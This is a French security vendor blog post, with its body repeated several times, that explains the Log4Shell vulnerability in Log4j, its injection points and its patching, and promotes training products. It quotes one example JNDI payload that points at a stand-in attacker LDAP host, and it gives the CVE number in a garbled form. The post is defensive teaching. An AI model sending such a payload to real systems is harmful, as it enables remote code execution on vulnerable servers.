La vulnérabilité de Log4j expliquée - Son vecteur d'attaque et comment la prévenir
Le 9 décembre, une faille de 0 jour dans la bibliothèque Java Log4j a été divulguée. La CVE-44228, baptisée Log4Shell, a reçu une note de "gravité élevée" car l'exploit peut entraîner l'exécution de code à distance(RCE). En outre, log4j-core est l'une des bibliothèques de journalisation Java les plus utilisées, ce qui met en danger des millions d'applications.
Vous souhaitez améliorer rapidement vos compétences en matière de Log4Shell ?
Nous avons construit une vitrine qui vous emmène de l'idée de base de Log4Shell à l'expérience de l'exploitation de cette vulnérabilité dans un simulateur appelé Mission. Dans cette mission, nous vous expliquerons comment la vulnérabilité Log4j peut avoir un impact sur votre infrastructure et vos applications. Cliquez ici pour accéder directement à la présentation, ou continuez à lire pour en savoir plus sur la vulnérabilité en détail.
Des nouvelles anciennes ?
L'exploit n'est pas nouveau. Déjà dans leur conférence BlackHat de 2016, les chercheurs en sécurité Alvaro Muñoz et Oleksandr Mirosh soulignaient que "les applications ne devraient pas effectuer de recherches JNDI avec des données non fiables", et illustraient comment une injection JNDI/LDAP ciblée pouvait conduire à l'exécution de code à distance. Et c'est exactement ce qui se trouve au cœur de Log4Shell.
Vecteur d'attaque
La charge utile d'injection de Log4Shell ressemble à ceci :
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Ensuite, il y a JNDI, ou Java Naming and Directory Interface, qui est une API permettant de se connecter à des services utilisant des protocoles tels que LDAP, DNS, RMI, etc. pour récupérer des données ou des ressources. En termes simples, dans notre exemple de charge utile malveillante ci-dessus, JNDI effectue une recherche sur le serveur LDAP contrôlé par l'attaquant. Sa réponse pourrait, par exemple, pointer vers un fichier de classe Java contenant un code malveillant, qui sera en retour exécuté sur le serveur vulnérable.
Ce qui rend cette vulnérabilité si problématique, c'est que Log4j évalue toutes les entrées de journal, et qu'il effectue des recherches dans toutes les entrées utilisateur enregistrées, écrites dans une syntaxe EL préfixée par "jndi". La charge utile peut être injectée à n'importe quel endroit où les utilisateurs peuvent saisir des données, comme les champs de formulaire. En outre, les en-têtes HTTP, tels que User-Agent et X-Forwarded-For, ainsi que d'autres en-têtes, peuvent être personnalisés pour transporter la charge utile.
Pour vivre l'exploit vous-même, rendez-vous dans notre vitrine et passez à l'étape 2 - "L'impact de l'expérience".
Prévention : Sensibilisation
La mise à jour est recommandée pour toutes les applications, car Log4j a apporté des correctifs au code vulnérable. Les versions 2.15.0 et 2.16.0 contenaient cependant un DDoS et d'autres vulnérabilités, ce qui signifie qu'à partir de fin décembre, il est recommandé de passer à la version 2.17.0.
En tant que développeurs qui écrivent du code, nous devons toujours tenir compte de la sécurité. Log4Shell nous a appris qu'il existe des risques liés à l'utilisation de frameworks ou de bibliothèques tiers. Nous devons être conscients du fait que la sécurité de notre application peut être compromise par l'utilisation de sources externes, que nous supposons naïvement sûres.
Cette vulnérabilité aurait-elle pu être évitée ? Oui et non. D'une part, les développeurs ne peuvent pas faire grand-chose car les composants vulnérables sont introduits par des logiciels tiers. D'autre part, la leçon à tirer de cette affaire est une leçon qui a été répétée à maintes reprises, à savoir qu'il ne faut jamais faire confiance aux données saisies par l'utilisateur.
Secure Code Warrior estime que les développeurs soucieux de la sécurité sont le meilleur moyen de prévenir les vulnérabilités dans le code. Étant donné que SCW propose une formation à grande échelle spécifique au cadre de programmation, les entreprises clientes ont été en mesure de localiser rapidement les développeurs Java concernés en utilisant les données des rapports. Elles se sont également appuyées sur leurs champions de la sécurité formés par SCW pour accélérer la mise à niveau de Log4j.
Pour les développeurs Java en particulier, Secure Code Warrior propose Sensei, un plugin IntelliJ gratuit. Cet outil d'analyse de code basé sur des règles peut être utilisé pour faire respecter les règles de codage et pour prévenir et corriger les vulnérabilités. Vous pouvez créer vos propres règles ou utiliser nos livres de recettes prêts à l'emploi. Parcourez nos recettes, et n'oubliez pas de télécharger notre livre de recettes Log4j qui vous aidera à localiser et à corriger la vulnérabilité Log4Shell en un clin d'œil.
Améliorez vos compétences en matière de défense contre Log4Shell
Vous souhaitez mettre en pratique ce que vous avez appris dans cet article de blog ? Notre démonstration peut vous aider. Au début de la présentation, vous aurez un bref aperçu de cette vulnérabilité, puis vous serez emmené dans un environnement simulé où vous pourrez essayer l'exploit à l'aide d'instructions guidées.
En décembre 2021, une vulnérabilité de sécurité critique Log4Shell a été divulguée dans la bibliothèque Java Log4j. Dans cet article, nous décomposons la vulnérabilité Log4Shell dans la forme la plus simple pour que vous puissiez en saisir les bases et nous vous présentons une mission - un terrain de jeu où vous pouvez essayer d'exploiter un site web simulé en utilisant la connaissance de cette vulnérabilité.
Secure Code Warrior est là pour vous aider à sécuriser le code tout au long du cycle de vie du développement logiciel et à créer une culture dans laquelle la cybersécurité est une priorité. Que vous soyez responsable AppSec, développeur, CISO ou toute autre personne impliquée dans la sécurité, nous pouvons aider votre organisation à réduire les risques associés à un code non sécurisé.
Réservez une démonstration
Laura Verheyde est développeuse de logiciels à l'adresse Secure Code Warrior . Elle se consacre à la recherche de vulnérabilités et à la création de contenu pour Missions et Coding labs.
Le 9 décembre, une faille de 0 jour dans la bibliothèque Java Log4j a été divulguée. La CVE-44228, baptisée Log4Shell, a reçu une note de "gravité élevée" car l'exploit peut entraîner l'exécution de code à distance(RCE). En outre, log4j-core est l'une des bibliothèques de journalisation Java les plus utilisées, ce qui met en danger des millions d'applications.
Vous souhaitez améliorer rapidement vos compétences en matière de Log4Shell ?
Nous avons construit une vitrine qui vous emmène de l'idée de base de Log4Shell à l'expérience de l'exploitation de cette vulnérabilité dans un simulateur appelé Mission. Dans cette mission, nous vous expliquerons comment la vulnérabilité Log4j peut avoir un impact sur votre infrastructure et vos applications. Cliquez ici pour accéder directement à la présentation, ou continuez à lire pour en savoir plus sur la vulnérabilité en détail.
Des nouvelles anciennes ?
L'exploit n'est pas nouveau. Déjà dans leur conférence BlackHat de 2016, les chercheurs en sécurité Alvaro Muñoz et Oleksandr Mirosh soulignaient que "les applications ne devraient pas effectuer de recherches JNDI avec des données non fiables", et illustraient comment une injection JNDI/LDAP ciblée pouvait conduire à l'exécution de code à distance. Et c'est exactement ce qui se trouve au cœur de Log4Shell.
Vecteur d'attaque
La charge utile d'injection de Log4Shell ressemble à ceci :
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Ensuite, il y a JNDI, ou Java Naming and Directory Interface, qui est une API permettant de se connecter à des services utilisant des protocoles tels que LDAP, DNS, RMI, etc. pour récupérer des données ou des ressources. En termes simples, dans notre exemple de charge utile malveillante ci-dessus, JNDI effectue une recherche sur le serveur LDAP contrôlé par l'attaquant. Sa réponse pourrait, par exemple, pointer vers un fichier de classe Java contenant un code malveillant, qui sera en retour exécuté sur le serveur vulnérable.
Ce qui rend cette vulnérabilité si problématique, c'est que Log4j évalue toutes les entrées de journal, et qu'il effectue des recherches dans toutes les entrées utilisateur enregistrées, écrites dans une syntaxe EL préfixée par "jndi". La charge utile peut être injectée à n'importe quel endroit où les utilisateurs peuvent saisir des données, comme les champs de formulaire. En outre, les en-têtes HTTP, tels que User-Agent et X-Forwarded-For, ainsi que d'autres en-têtes, peuvent être personnalisés pour transporter la charge utile.
Pour vivre l'exploit vous-même, rendez-vous dans notre vitrine et passez à l'étape 2 - "L'impact de l'expérience".
Prévention : Sensibilisation
La mise à jour est recommandée pour toutes les applications, car Log4j a apporté des correctifs au code vulnérable. Les versions 2.15.0 et 2.16.0 contenaient cependant un DDoS et d'autres vulnérabilités, ce qui signifie qu'à partir de fin décembre, il est recommandé de passer à la version 2.17.0.
En tant que développeurs qui écrivent du code, nous devons toujours tenir compte de la sécurité. Log4Shell nous a appris qu'il existe des risques liés à l'utilisation de frameworks ou de bibliothèques tiers. Nous devons être conscients du fait que la sécurité de notre application peut être compromise par l'utilisation de sources externes, que nous supposons naïvement sûres.
Cette vulnérabilité aurait-elle pu être évitée ? Oui et non. D'une part, les développeurs ne peuvent pas faire grand-chose car les composants vulnérables sont introduits par des logiciels tiers. D'autre part, la leçon à tirer de cette affaire est une leçon qui a été répétée à maintes reprises, à savoir qu'il ne faut jamais faire confiance aux données saisies par l'utilisateur.
Secure Code Warrior estime que les développeurs soucieux de la sécurité sont le meilleur moyen de prévenir les vulnérabilités dans le code. Étant donné que SCW propose une formation à grande échelle spécifique au cadre de programmation, les entreprises clientes ont été en mesure de localiser rapidement les développeurs Java concernés en utilisant les données des rapports. Elles se sont également appuyées sur leurs champions de la sécurité formés par SCW pour accélérer la mise à niveau de Log4j.
Pour les développeurs Java en particulier, Secure Code Warrior propose Sensei, un plugin IntelliJ gratuit. Cet outil d'analyse de code basé sur des règles peut être utilisé pour faire respecter les règles de codage et pour prévenir et corriger les vulnérabilités. Vous pouvez créer vos propres règles ou utiliser nos livres de recettes prêts à l'emploi. Parcourez nos recettes, et n'oubliez pas de télécharger notre livre de recettes Log4j qui vous aidera à localiser et à corriger la vulnérabilité Log4Shell en un clin d'œil.
Améliorez vos compétences en matière de défense contre Log4Shell
Vous souhaitez mettre en pratique ce que vous avez appris dans cet article de blog ? Notre démonstration peut vous aider. Au début de la présentation, vous aurez un bref aperçu de cette vulnérabilité, puis vous serez emmené dans un environnement simulé où vous pourrez essayer l'exploit à l'aide d'instructions guidées.
Le 9 décembre, une faille de 0 jour dans la bibliothèque Java Log4j a été divulguée. La CVE-44228, baptisée Log4Shell, a reçu une note de "gravité élevée" car l'exploit peut entraîner l'exécution de code à distance(RCE). En outre, log4j-core est l'une des bibliothèques de journalisation Java les plus utilisées, ce qui met en danger des millions d'applications.
Vous souhaitez améliorer rapidement vos compétences en matière de Log4Shell ?
Nous avons construit une vitrine qui vous emmène de l'idée de base de Log4Shell à l'expérience de l'exploitation de cette vulnérabilité dans un simulateur appelé Mission. Dans cette mission, nous vous expliquerons comment la vulnérabilité Log4j peut avoir un impact sur votre infrastructure et vos applications. Cliquez ici pour accéder directement à la présentation, ou continuez à lire pour en savoir plus sur la vulnérabilité en détail.
Des nouvelles anciennes ?
L'exploit n'est pas nouveau. Déjà dans leur conférence BlackHat de 2016, les chercheurs en sécurité Alvaro Muñoz et Oleksandr Mirosh soulignaient que "les applications ne devraient pas effectuer de recherches JNDI avec des données non fiables", et illustraient comment une injection JNDI/LDAP ciblée pouvait conduire à l'exécution de code à distance. Et c'est exactement ce qui se trouve au cœur de Log4Shell.
Vecteur d'attaque
La charge utile d'injection de Log4Shell ressemble à ceci :
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Ensuite, il y a JNDI, ou Java Naming and Directory Interface, qui est une API permettant de se connecter à des services utilisant des protocoles tels que LDAP, DNS, RMI, etc. pour récupérer des données ou des ressources. En termes simples, dans notre exemple de charge utile malveillante ci-dessus, JNDI effectue une recherche sur le serveur LDAP contrôlé par l'attaquant. Sa réponse pourrait, par exemple, pointer vers un fichier de classe Java contenant un code malveillant, qui sera en retour exécuté sur le serveur vulnérable.
Ce qui rend cette vulnérabilité si problématique, c'est que Log4j évalue toutes les entrées de journal, et qu'il effectue des recherches dans toutes les entrées utilisateur enregistrées, écrites dans une syntaxe EL préfixée par "jndi". La charge utile peut être injectée à n'importe quel endroit où les utilisateurs peuvent saisir des données, comme les champs de formulaire. En outre, les en-têtes HTTP, tels que User-Agent et X-Forwarded-For, ainsi que d'autres en-têtes, peuvent être personnalisés pour transporter la charge utile.
Pour vivre l'exploit vous-même, rendez-vous dans notre vitrine et passez à l'étape 2 - "L'impact de l'expérience".
Prévention : Sensibilisation
La mise à jour est recommandée pour toutes les applications, car Log4j a apporté des correctifs au code vulnérable. Les versions 2.15.0 et 2.16.0 contenaient cependant un DDoS et d'autres vulnérabilités, ce qui signifie qu'à partir de fin décembre, il est recommandé de passer à la version 2.17.0.
En tant que développeurs qui écrivent du code, nous devons toujours tenir compte de la sécurité. Log4Shell nous a appris qu'il existe des risques liés à l'utilisation de frameworks ou de bibliothèques tiers. Nous devons être conscients du fait que la sécurité de notre application peut être compromise par l'utilisation de sources externes, que nous supposons naïvement sûres.
Cette vulnérabilité aurait-elle pu être évitée ? Oui et non. D'une part, les développeurs ne peuvent pas faire grand-chose car les composants vulnérables sont introduits par des logiciels tiers. D'autre part, la leçon à tirer de cette affaire est une leçon qui a été répétée à maintes reprises, à savoir qu'il ne faut jamais faire confiance aux données saisies par l'utilisateur.
Secure Code Warrior estime que les développeurs soucieux de la sécurité sont le meilleur moyen de prévenir les vulnérabilités dans le code. Étant donné que SCW propose une formation à grande échelle spécifique au cadre de programmation, les entreprises clientes ont été en mesure de localiser rapidement les développeurs Java concernés en utilisant les données des rapports. Elles se sont également appuyées sur leurs champions de la sécurité formés par SCW pour accélérer la mise à niveau de Log4j.
Pour les développeurs Java en particulier, Secure Code Warrior propose Sensei, un plugin IntelliJ gratuit. Cet outil d'analyse de code basé sur des règles peut être utilisé pour faire respecter les règles de codage et pour prévenir et corriger les vulnérabilités. Vous pouvez créer vos propres règles ou utiliser nos livres de recettes prêts à l'emploi. Parcourez nos recettes, et n'oubliez pas de télécharger notre livre de recettes Log4j qui vous aidera à localiser et à corriger la vulnérabilité Log4Shell en un clin d'œil.
Améliorez vos compétences en matière de défense contre Log4Shell
Vous souhaitez mettre en pratique ce que vous avez appris dans cet article de blog ? Notre démonstration peut vous aider. Au début de la présentation, vous aurez un bref aperçu de cette vulnérabilité, puis vous serez emmené dans un environnement simulé où vous pourrez essayer l'exploit à l'aide d'instructions guidées.
Cliquez sur le lien ci-dessous et téléchargez le PDF de cette ressource.
Secure Code Warrior est là pour vous aider à sécuriser le code tout au long du cycle de vie du développement logiciel et à créer une culture dans laquelle la cybersécurité est une priorité. Que vous soyez responsable AppSec, développeur, CISO ou toute autre personne impliquée dans la sécurité, nous pouvons aider votre organisation à réduire les risques associés à un code non sécurisé.
Voir le rapportRéservez une démonstration
Laura Verheyde est développeuse de logiciels à l'adresse Secure Code Warrior . Elle se consacre à la recherche de vulnérabilités et à la création de contenu pour Missions et Coding labs.
Le 9 décembre, une faille de 0 jour dans la bibliothèque Java Log4j a été divulguée. La CVE-44228, baptisée Log4Shell, a reçu une note de "gravité élevée" car l'exploit peut entraîner l'exécution de code à distance(RCE). En outre, log4j-core est l'une des bibliothèques de journalisation Java les plus utilisées, ce qui met en danger des millions d'applications.
Vous souhaitez améliorer rapidement vos compétences en matière de Log4Shell ?
Nous avons construit une vitrine qui vous emmène de l'idée de base de Log4Shell à l'expérience de l'exploitation de cette vulnérabilité dans un simulateur appelé Mission. Dans cette mission, nous vous expliquerons comment la vulnérabilité Log4j peut avoir un impact sur votre infrastructure et vos applications. Cliquez ici pour accéder directement à la présentation, ou continuez à lire pour en savoir plus sur la vulnérabilité en détail.
Des nouvelles anciennes ?
L'exploit n'est pas nouveau. Déjà dans leur conférence BlackHat de 2016, les chercheurs en sécurité Alvaro Muñoz et Oleksandr Mirosh soulignaient que "les applications ne devraient pas effectuer de recherches JNDI avec des données non fiables", et illustraient comment une injection JNDI/LDAP ciblée pouvait conduire à l'exécution de code à distance. Et c'est exactement ce qui se trouve au cœur de Log4Shell.
Vecteur d'attaque
La charge utile d'injection de Log4Shell ressemble à ceci :
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Ensuite, il y a JNDI, ou Java Naming and Directory Interface, qui est une API permettant de se connecter à des services utilisant des protocoles tels que LDAP, DNS, RMI, etc. pour récupérer des données ou des ressources. En termes simples, dans notre exemple de charge utile malveillante ci-dessus, JNDI effectue une recherche sur le serveur LDAP contrôlé par l'attaquant. Sa réponse pourrait, par exemple, pointer vers un fichier de classe Java contenant un code malveillant, qui sera en retour exécuté sur le serveur vulnérable.
Ce qui rend cette vulnérabilité si problématique, c'est que Log4j évalue toutes les entrées de journal, et qu'il effectue des recherches dans toutes les entrées utilisateur enregistrées, écrites dans une syntaxe EL préfixée par "jndi". La charge utile peut être injectée à n'importe quel endroit où les utilisateurs peuvent saisir des données, comme les champs de formulaire. En outre, les en-têtes HTTP, tels que User-Agent et X-Forwarded-For, ainsi que d'autres en-têtes, peuvent être personnalisés pour transporter la charge utile.
Pour vivre l'exploit vous-même, rendez-vous dans notre vitrine et passez à l'étape 2 - "L'impact de l'expérience".
Prévention : Sensibilisation
La mise à jour est recommandée pour toutes les applications, car Log4j a apporté des correctifs au code vulnérable. Les versions 2.15.0 et 2.16.0 contenaient cependant un DDoS et d'autres vulnérabilités, ce qui signifie qu'à partir de fin décembre, il est recommandé de passer à la version 2.17.0.
En tant que développeurs qui écrivent du code, nous devons toujours tenir compte de la sécurité. Log4Shell nous a appris qu'il existe des risques liés à l'utilisation de frameworks ou de bibliothèques tiers. Nous devons être conscients du fait que la sécurité de notre application peut être compromise par l'utilisation de sources externes, que nous supposons naïvement sûres.
Cette vulnérabilité aurait-elle pu être évitée ? Oui et non. D'une part, les développeurs ne peuvent pas faire grand-chose car les composants vulnérables sont introduits par des logiciels tiers. D'autre part, la leçon à tirer de cette affaire est une leçon qui a été répétée à maintes reprises, à savoir qu'il ne faut jamais faire confiance aux données saisies par l'utilisateur.
Secure Code Warrior estime que les développeurs soucieux de la sécurité sont le meilleur moyen de prévenir les vulnérabilités dans le code. Étant donné que SCW propose une formation à grande échelle spécifique au cadre de programmation, les entreprises clientes ont été en mesure de localiser rapidement les développeurs Java concernés en utilisant les données des rapports. Elles se sont également appuyées sur leurs champions de la sécurité formés par SCW pour accélérer la mise à niveau de Log4j.
Pour les développeurs Java en particulier, Secure Code Warrior propose Sensei, un plugin IntelliJ gratuit. Cet outil d'analyse de code basé sur des règles peut être utilisé pour faire respecter les règles de codage et pour prévenir et corriger les vulnérabilités. Vous pouvez créer vos propres règles ou utiliser nos livres de recettes prêts à l'emploi. Parcourez nos recettes, et n'oubliez pas de télécharger notre livre de recettes Log4j qui vous aidera à localiser et à corriger la vulnérabilité Log4Shell en un clin d'œil.
Améliorez vos compétences en matière de défense contre Log4Shell
Vous souhaitez mettre en pratique ce que vous avez appris dans cet article de blog ? Notre démonstration peut vous aider. Au début de la présentation, vous aurez un bref aperçu de cette vulnérabilité, puis vous serez emmené dans un environnement simulé où vous pourrez essayer l'exploit à l'aide d'instructions guidées.
Table des matières
Secure Code Warrior est là pour vous aider à sécuriser le code tout au long du cycle de vie du développement logiciel et à créer une culture dans laquelle la cybersécurité est une priorité. Que vous soyez responsable AppSec, développeur, CISO ou toute autre personne impliquée dans la sécurité, nous pouvons aider votre organisation à réduire les risques associés à un code non sécurisé.
Réservez une démonstrationTéléchargerRessources pour vous aider à démarrer
Sécurité dès la conception : Définir les meilleures pratiques, permettre aux développeurs et évaluer les résultats de la sécurité préventive
Dans ce document de recherche, les cofondateurs de Secure Code Warrior , Pieter Danhieux et Matias Madou, Ph.D., ainsi que des contributeurs experts, Chris Inglis, ancien directeur national américain de la cybernétique (aujourd'hui conseiller stratégique du Paladin Capital Group), et Devin Lynch, directeur principal du Paladin Global Institute, révèleront les principales conclusions de plus de vingt entretiens approfondis avec des responsables de la sécurité des entreprises, y compris des RSSI, un vice-président de la sécurité des applications et des professionnels de la sécurité des logiciels.
Évaluation comparative des compétences en matière de sécurité : Rationalisation de la conception sécurisée dans l'entreprise
Il est notoirement difficile de trouver des données significatives sur le succès des initiatives Secure-by-Design. Les RSSI sont souvent confrontés à des difficultés lorsqu'ils tentent de prouver le retour sur investissement (ROI) et la valeur commerciale des activités du programme de sécurité, tant au niveau des personnes que de l'entreprise. De plus, il est particulièrement difficile pour les entreprises d'obtenir des informations sur la façon dont leurs organisations sont comparées aux normes actuelles du secteur. La stratégie nationale de cybersécurité du président a mis les parties prenantes au défi d'"adopter la sécurité et la résilience dès la conception". Pour que les initiatives de conception sécurisée fonctionnent, il faut non seulement donner aux développeurs les compétences nécessaires pour assurer la sécurité du code, mais aussi garantir aux régulateurs que ces compétences sont en place. Dans cette présentation, nous partageons une myriade de données qualitatives et quantitatives, dérivées de sources primaires multiples, y compris des points de données internes collectés auprès de plus de 250 000 développeurs, des informations sur les clients basées sur des données, et des études publiques. En nous appuyant sur cette agrégation de points de données, nous visons à communiquer une vision de l'état actuel des initiatives Secure-by-Design dans de multiples secteurs verticaux. Le rapport explique en détail pourquoi cet espace est actuellement sous-utilisé, l'impact significatif qu'un programme de perfectionnement réussi peut avoir sur l'atténuation des risques de cybersécurité, et le potentiel d'élimination des catégories de vulnérabilités d'une base de code.
Services professionnels - Accélérer grâce à l'expertise
L'équipe des services de stratégie de programme (PSS) de Secure Code Warriorvous aide à construire, améliorer et optimiser votre programme de codage sécurisé. Que vous partiez de zéro ou que vous affiniez votre approche, nos experts vous fournissent des conseils sur mesure.
Thèmes et contenu de la formation sur le code sécurisé
Notre contenu, à la pointe de l'industrie, évolue constamment pour s'adapter au paysage du développement logiciel en constante évolution, tout en gardant votre rôle à l'esprit. Les sujets abordés vont de l'IA à l'injection XQuery, et sont proposés pour une variété de rôles, des architectes et ingénieurs aux gestionnaires de produits et à l'assurance qualité. Découvrez en avant-première ce que notre catalogue de contenu a à offrir par sujet et par rôle.
Ressources pour vous aider à démarrer
Révélation : Comment l'industrie du cyberespace définit la notion de "Secure by Design" (sécurité dès la conception)
Dans notre dernier livre blanc, nos cofondateurs, Pieter Danhieux et Matias Madou, Ph.D., ont rencontré plus de vingt responsables de la sécurité d'entreprise, notamment des RSSI, des responsables AppSec et des professionnels de la sécurité, afin d'identifier les principales pièces de ce puzzle et de découvrir la réalité qui se cache derrière le mouvement Secure by Design. Il s'agit d'une ambition partagée par les équipes de sécurité, mais il n'y a pas de manuel de jeu commun.
Vibe Coding va-t-il transformer votre base de code en une fête de fraternité ?
Le codage vibratoire est comme une fête de fraternité universitaire, et l'IA est la pièce maîtresse de toutes les festivités, le tonneau. C'est très amusant de se laisser aller, d'être créatif et de voir où votre imagination peut vous mener, mais après quelques barils, boire (ou utiliser l'IA) avec modération est sans aucun doute la solution la plus sûre à long terme.
Codage axé sur le développeur.
En toute sécurité.
Contactez-nous dès aujourd'hui et faites de la sécurité des logiciels une partie intrinsèque de votre processus de développement.
